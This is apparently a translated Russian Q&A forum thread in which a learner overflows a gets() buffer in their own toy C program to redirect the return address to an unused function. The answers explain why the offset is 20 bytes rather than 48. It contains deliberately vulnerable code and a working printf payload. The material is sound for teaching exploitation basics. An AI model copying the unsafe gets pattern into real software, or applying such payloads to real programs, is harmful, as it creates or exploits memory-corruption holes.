Переполнение буфера появилось до того, как оно ожидается
Я пытаюсь взять контроль над переполнением стека. Во-первых, вот пример кода C, который я скомпилировал на x32 VM Linux (gcc -fno-stack-protector -ggdb -o first first.c
),
#include "stdio.h"
int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}
void GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
int main()
{
GetInput();
return(0);
}
Затем отладчик (intel flavor): дамп ассемблерного кода для функции GetInput
:
0x08048455 <+0>: push ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]
Здесь мы видим, что sub esp, 0x28 резервирует 40 байтов для буферной переменной (справа?).
Функция CanNeverExecute
находится в адресе 0x0804843c
.
Итак, чтобы запустить функцию CanNeverExecute
, мне нужно поместить 40 байтов в буферную переменную, затем будет 8 байтов для сохраненного базового указателя, а затем 8 байтов возвращаемого указателя, который я хочу изменить.
Итак, мне нужна строка из 48 символов ASCII плюс \x3c\x84\x04\x08
в конце (адрес функции CanNeverExecute
). Это теоретически. Но на практике мне нужно всего 20 байтов перед адресом возвращаемого указателя:
~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)
Зачем ему нужно только 20 байтов вместо 48? Где моя ошибка?
Ответы
Ответ 1
Если вы возьмете большую часть разборки, вы увидите:
08048445 <GetInput>:
8048445: 55 push %ebp
8048446: 89 e5 mov %esp,%ebp
8048448: 83 ec 28 sub $0x28,%esp
804844b: 8d 45 f0 lea -0x10(%ebp),%eax
804844e: 89 04 24 mov %eax,(%esp)
8048451: e8 9a fe ff ff call 80482f0 <[email protected]>
8048456: 8d 45 f0 lea -0x10(%ebp),%eax
8048459: 89 04 24 mov %eax,(%esp)
804845c: e8 9f fe ff ff call 8048300 <[email protected]>
8048461: c9 leave
8048462: c3 ret
ebp сохраняется, esp перемещается в ebp, тогда 40 вычитается из esp (кадр стека, как вы писали),
но указатель на буфер передается для получения через eax-регистр, а eax загружается с помощью ebp-0x10!
lea -0x10(%ebp),%eax
Итак, для переполнения буфера требуется всего 20 байтов (16 зарезервированных + 4 для сохраненного базового указателя в 32-битной системе)
Ответ 2
Во-первых, ваша сборка 32-разрядная. Сохраненный EBP и обратный адрес - 4 байта.
Во-вторых, переменная buffer
не начинается с вершины стека (ESP) - она начинается с ebp-0x10. На расстоянии 20 байтов от адреса возврата. 0x10 - 16 байт, затем еще 4 для сохраненного EBP.